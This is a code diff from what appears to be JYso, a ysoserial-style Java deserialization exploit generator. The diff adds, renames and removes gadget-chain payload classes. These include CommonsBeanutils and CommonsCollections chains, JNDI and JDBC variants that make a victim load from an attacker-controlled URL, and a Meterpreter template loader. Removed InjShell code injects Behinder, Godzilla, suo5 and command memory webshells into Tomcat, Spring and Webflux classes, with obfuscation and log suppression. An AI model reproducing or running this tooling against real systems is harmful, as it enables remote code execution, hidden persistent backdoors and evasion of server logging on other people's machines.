|
||||
XString toStringTrig = new XString("");
|
||||
return Arrays.asList(jo, JDKUtil.makeMap(jo, toStringTrig));
|
||||
}
|
||||
|
||||
|
||||
public static Object makeSpringAOPToStringTrigger(Object o) throws Exception {
|
||||
return makeToStringTrigger(o, x -> {
|
||||
return new HotSwappableTargetSource(x);
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
public static String unhash(int hash) {
|
||||
int target = hash;
|
||||
StringBuilder answer = new StringBuilder();
|
||||
if (target < 0) {
|
||||
// String with hash of Integer.MIN_VALUE, 0x80000000
|
||||
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
|
||||
|
||||
if (target == Integer.MIN_VALUE)
|
||||
return answer.toString();
|
||||
// Find target without sign bit set
|
||||
target = target & Integer.MAX_VALUE;
|
||||
}
|
||||
|
||||
unhash0(answer, target);
|
||||
return answer.toString();
|
||||
}
|
||||
|
||||
|
||||
private static void unhash0(StringBuilder partial, int target) {
|
||||
int div = target / 31;
|
||||
int rem = target % 31;
|
||||
|
||||
if (div <= Character.MAX_VALUE) {
|
||||
if (div != 0)
|
||||
partial.append((char) div);
|
||||
partial.append((char) rem);
|
||||
} else {
|
||||
unhash0(partial, div);
|
||||
partial.append((char) rem);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import java.util.Comparator;
|
||||
|
||||
public class UtilFactory {
|
||||
|
||||
// 实现接口中的所有方法
|
||||
public Object makeHashCodeTrigger(Object o1) throws Exception {
|
||||
return JDKUtil.makeMap(o1, o1);
|
||||
}
|
||||
|
||||
public Object makeEqualsTrigger(Object tgt, Object sameHash) throws Exception {
|
||||
return JDKUtil.makeMap(tgt, sameHash);
|
||||
}
|
||||
|
||||
public Object makeToStringTriggerUnstable(Object obj) throws Exception {
|
||||
return ToStringUtil.makeSpringAOPToStringTrigger(obj);
|
||||
}
|
||||
|
||||
public Object makeToStringTriggerStable(Object obj) throws Exception {
|
||||
return ToStringUtil.makeToStringTrigger(obj);
|
||||
}
|
||||
|
||||
public Object makeIteratorTrigger(Object it) throws Exception {
|
||||
return JDKUtil.makeIteratorTriggerNative(this, it);
|
||||
}
|
||||
|
||||
public Object makeComparatorTrigger(Object tgt, Comparator<?> cmp) throws Exception {
|
||||
return JDKUtil.makeTreeMap(tgt, cmp);
|
||||
}
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding;
|
||||
import org.apache.xbean.naming.context.WritableContext;
|
||||
|
||||
import javax.naming.Context;
|
||||
import javax.naming.Reference;
|
||||
import java.net.URI;
|
||||
|
||||
public class Xbean implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
//需要处理command
|
||||
UtilFactory uf = new UtilFactory();
|
||||
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
|
||||
URI uri = new URI(command);
|
||||
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
Reference ref = new Reference("foo", args[1], args[0]);
|
||||
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);
|
||||
return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$
|
||||
}
|
||||
|
||||
}
|
||||
+1
-1
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
public class cb1183 implements ObjectPayload<Object> {
|
||||
public class cb183 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
@@ -1,41 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
public class cb2183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
// 修改BeanComparator类的serialVersionUID
|
||||
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
setFieldValue(comparator, "property", "lowestSetBit");
|
||||
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
setFieldValue(comparator, "property", "outputProperties");
|
||||
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = templates;
|
||||
queueArray[1] = templates;
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,48 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
public class cb3183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
String jndiURL = null;
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
jndiURL = command.substring(5);
|
||||
}
|
||||
|
||||
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
Reflections.setFieldValue(comparator, "property", null);
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiURL);
|
||||
rs.setMatchColumn("qi4l");
|
||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
|
||||
|
||||
ctBeanComparator.defrost();
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -19,7 +19,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
|
||||
public class cb_AttrCompare183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
+1
-1
@@ -14,7 +14,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsAttrCompare192 implements ObjectPayload<Object> {
|
||||
public class cb_AttrCompare192 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
+1
-1
@@ -11,7 +11,7 @@ import java.util.PriorityQueue;
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsBeanutilsJDBC implements ObjectPayload<Object> {
|
||||
public class cb_JDBC implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||
throw new Exception("Command format is: eviljdbcurl");
|
||||
+1
-1
@@ -11,7 +11,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsBeanutilsJNDI implements ObjectPayload<Object> {
|
||||
public class cb_JNDI implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
+1
-1
@@ -17,7 +17,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
|
||||
public class cb_ObjectToStringComparator183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
+1
-1
@@ -17,7 +17,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
|
||||
public class cb_PropertySource183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
+1
-1
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource192 implements ObjectPayload<Object> {
|
||||
public class cb_PropertySource192 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
@@ -14,6 +14,8 @@ import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
@@ -52,7 +54,7 @@ public class cc1 implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
|
||||
|
||||
@@ -17,6 +17,8 @@ import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy;
|
||||
|
||||
|
||||
/**
|
||||
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
|
||||
@@ -49,7 +51,7 @@ public class cc3 implements ObjectPayload<Object> {
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
|
||||
|
||||
@@ -22,7 +22,7 @@ import java.net.URLClassLoader;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
public class springFs implements ObjectPayload<Object>, Serializable {
|
||||
public static ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
@@ -40,7 +40,7 @@ public class ClassByteChange {
|
||||
cPool.importPackage("java.io.OutputStream");
|
||||
cPool.importPackage("java.util.HashMap");
|
||||
//获取该class对象
|
||||
CtClass cClass = cPool.get("Meterpreter");
|
||||
CtClass cClass = cPool.get("com.qi4l.JYso.template.Meterpreter");
|
||||
//获取到对应的方法
|
||||
CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost");
|
||||
|
||||
@@ -49,7 +49,7 @@ public class ClassByteChange {
|
||||
|
||||
//替换原有的文件
|
||||
cClass.writeFile(ap);
|
||||
InputStream in = Files.newInputStream(Paths.get(ap + File.separatorChar + "Meterpreter.class"));
|
||||
InputStream in = Files.newInputStream(Paths.get(ap + File.separatorChar + "com.qi4l.JYso.template.Meterpreter.class"));
|
||||
return Utils.getBytes(in);
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*/
|
||||
public interface DynamicDependencies {
|
||||
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import com.qi4l.JYso.gadgets.JDKUtil;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
@@ -14,7 +13,6 @@ import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD;
|
||||
@@ -47,20 +45,11 @@ public class Gadgets extends ClassLoader {
|
||||
}
|
||||
}
|
||||
|
||||
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
|
||||
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
|
||||
}
|
||||
|
||||
|
||||
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
|
||||
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||
}
|
||||
|
||||
|
||||
public static Map<String, Object> createMap(final String key, final Object val) {
|
||||
return JDKUtil.createMap(key, val);
|
||||
}
|
||||
|
||||
public static Object createTemplatesImpl(String command) throws Exception {
|
||||
command = command.trim();
|
||||
|
||||
@@ -79,7 +68,7 @@ public class Gadgets extends ClassLoader {
|
||||
POOL.get(ABST_TRANSLET.getName());
|
||||
|
||||
// 扩展功能
|
||||
if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
if (command.startsWith("LF-")) {
|
||||
ctClass = generateClass(command, newClassName);
|
||||
} else {
|
||||
// 普通的命令执行
|
||||
@@ -156,7 +145,7 @@ public class Gadgets extends ClassLoader {
|
||||
POOL.get(ABST_TRANSLET.getName());
|
||||
|
||||
// 扩展功能
|
||||
if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
if (command.startsWith("LF-")) {
|
||||
ctClass = generateClass(command, newClassName);
|
||||
} else {
|
||||
// 普通的命令执行
|
||||
@@ -229,7 +218,7 @@ public class Gadgets extends ClassLoader {
|
||||
POOL.get(ABST_TRANSLET.getName());
|
||||
|
||||
// 扩展功能
|
||||
if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
if (command.startsWith("LF-")) {
|
||||
ctClass = generateClass(command, newClassName);
|
||||
} else {
|
||||
// 普通的命令执行
|
||||
@@ -294,8 +283,4 @@ public class Gadgets extends ClassLoader {
|
||||
Reflections.setFieldValue(hashMap, "table", arr);
|
||||
return hashMap;
|
||||
}
|
||||
|
||||
public Class<?> defineClass(String name, byte[] bytecode) {
|
||||
return defineClass(name, bytecode, 0, bytecode.length);
|
||||
}
|
||||
}
|
||||
@@ -1,189 +1,20 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.template.memshellStatic.tomcat.TFMSFromJMX;
|
||||
import javassist.*;
|
||||
import org.apache.commons.cli.CommandLine;
|
||||
import org.apache.commons.cli.CommandLineParser;
|
||||
import org.apache.commons.cli.DefaultParser;
|
||||
import org.apache.commons.cli.Options;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.getOptions;
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||
import static com.qi4l.JYso.gadgets.Config.MemShellPayloads.*;
|
||||
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
|
||||
|
||||
public class InjShell {
|
||||
|
||||
public static CommandLine cmdLine;
|
||||
|
||||
public static void insertKeyMethod(CtClass ctClass, String type) throws Exception {
|
||||
|
||||
// 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload
|
||||
String name = ctClass.getName();
|
||||
name = name.substring(name.lastIndexOf(".") + 1);
|
||||
|
||||
// 大多数 SpringBoot 项目使用内置 Tomcat
|
||||
boolean isTomcat = name.startsWith("T") || name.startsWith("Spring");
|
||||
boolean isWebflux = name.contains("Webflux");
|
||||
|
||||
// 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑
|
||||
String method = "";
|
||||
if (name.contains("SpringControllerMS")) {
|
||||
method = "drop";
|
||||
} else if (name.contains("Struts2ActionMS")) {
|
||||
method = "executeAction";
|
||||
}
|
||||
|
||||
List<CtClass> classes = new java.util.ArrayList<CtClass>(Arrays.asList(ctClass.getInterfaces()));
|
||||
classes.add(ctClass.getSuperclass());
|
||||
|
||||
for (CtClass value : classes) {
|
||||
String className = value.getName();
|
||||
if (Config.KEY_METHOD_MAP.containsKey(className)) {
|
||||
method = Config.KEY_METHOD_MAP.get(className);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 命令执行、各种内存马
|
||||
insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";");
|
||||
insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";");
|
||||
|
||||
if ("bx".equals(type)) {
|
||||
try {
|
||||
ctClass.getDeclaredMethod("base64Decode");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass));
|
||||
}
|
||||
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getFieldValue");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
|
||||
}
|
||||
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getMethodByClass");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
|
||||
}
|
||||
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getMethodAndInvoke");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
|
||||
}
|
||||
|
||||
if (Config.IS_OBSCURE) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_UNSAFE), ctClass));
|
||||
}
|
||||
|
||||
String shell = "";
|
||||
if (isTomcat) {
|
||||
insertTomcatNoLog(ctClass);
|
||||
shell = Config.IS_OBSCURE ? BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : BEHINDER_SHELL_FOR_TOMCAT;
|
||||
} else {
|
||||
shell = Config.IS_OBSCURE ? BEHINDER_SHELL_OBSCURE : BEHINDER_SHELL;
|
||||
}
|
||||
|
||||
insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD));
|
||||
} else if ("gz".equals(type)) {
|
||||
insertField(ctClass, "payload", "Class payload ;");
|
||||
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
|
||||
insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";");
|
||||
|
||||
try {
|
||||
ctClass.getDeclaredMethod("base64Decode");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass));
|
||||
}
|
||||
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MD5), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass));
|
||||
insertTomcatNoLog(ctClass);
|
||||
if (isWebflux) {
|
||||
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL_FOR_WEBFLUX));
|
||||
} else {
|
||||
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL));
|
||||
}
|
||||
} else if ("gzraw".equals(type)) {
|
||||
insertField(ctClass, "payload", "Class payload ;");
|
||||
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
|
||||
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass));
|
||||
insertTomcatNoLog(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_RAW_SHELL));
|
||||
} else if ("suo5".equals(type)) {
|
||||
|
||||
// 先写入一些需要的基础属性
|
||||
insertField(ctClass, "gInStream", "java.io.InputStream gInStream;");
|
||||
insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;");
|
||||
|
||||
// 依次写入方法
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_CREATE), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DATA), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DEL), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_SET_STREAM), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_STATUS), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_U32_TO_BYTES), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_BYTES_TO_U32), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_MARSHAL), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_UNMARSHAL), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_SOCKET), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_TRY_FULL_DUPLEX), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_REQ), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_UNARY), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_BIO), ctClass));
|
||||
|
||||
// 为恶意类设置 Runnable 接口以及 RUN 方法
|
||||
CtClass runnableClass = ClassPool.getDefault().get("java.lang.Runnable");
|
||||
ctClass.addInterface(runnableClass);
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.RUN), ctClass));
|
||||
|
||||
// 插入关键方法
|
||||
insertMethod(ctClass, method, Utils.base64Decode(SUO5.SUO5));
|
||||
} else if ("execute".equals(type)) {
|
||||
insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";");
|
||||
insertCMD(ctClass);
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_REQUEST), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_RESPONSE), ctClass));
|
||||
|
||||
insertMethod(ctClass, method, Utils.base64Decode(EXECUTOR_SHELL));
|
||||
} else if ("ws".equals(type)) {
|
||||
insertCMD(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(WS_SHELL));
|
||||
} else if ("upgrade".equals(type)) {
|
||||
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
|
||||
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
|
||||
insertCMD(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(UPGRADE_SHELL));
|
||||
} else {
|
||||
insertCMD(ctClass);
|
||||
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
|
||||
|
||||
if (isWebflux) {
|
||||
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_WEBFLUX));
|
||||
} else if (isTomcat) {
|
||||
insertTomcatNoLog(ctClass);
|
||||
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_TOMCAT));
|
||||
} else {
|
||||
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL));
|
||||
}
|
||||
}
|
||||
|
||||
ctClass.setName(generateClassName());
|
||||
insertField(ctClass, "pattern", "public static String pattern = " + converString(Config.URL_PATTERN) + ";");
|
||||
|
||||
}
|
||||
|
||||
// 恶心一下人,实际没用
|
||||
public static String converString(String target) {
|
||||
if (Config.IS_OBSCURE) {
|
||||
@@ -198,40 +29,6 @@ public class InjShell {
|
||||
return "\"" + target + "\"";
|
||||
}
|
||||
|
||||
public static void insertMethod(CtClass ctClass, String method, String payload) throws NotFoundException, CannotCompileException {
|
||||
//添加到类路径,防止出错
|
||||
ClassPool pool;
|
||||
pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(TFMSFromJMX.class));
|
||||
// 根据传入的不同参数,在不同方法中插入不同的逻辑
|
||||
CtMethod cm = ctClass.getDeclaredMethod(method);
|
||||
cm.setBody(payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* 向指定类中写入命令执行方法 execCmd
|
||||
* 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法
|
||||
*
|
||||
* @param ctClass 指定类
|
||||
* @throws Exception 抛出异常
|
||||
*/
|
||||
public static void insertCMD(CtClass ctClass) throws Exception {
|
||||
|
||||
if (Config.IS_OBSCURE) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
|
||||
try {
|
||||
ctClass.getDeclaredMethod("getFieldValue");
|
||||
} catch (NotFoundException e) {
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
|
||||
}
|
||||
ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD_OBSCURE), ctClass));
|
||||
} else {
|
||||
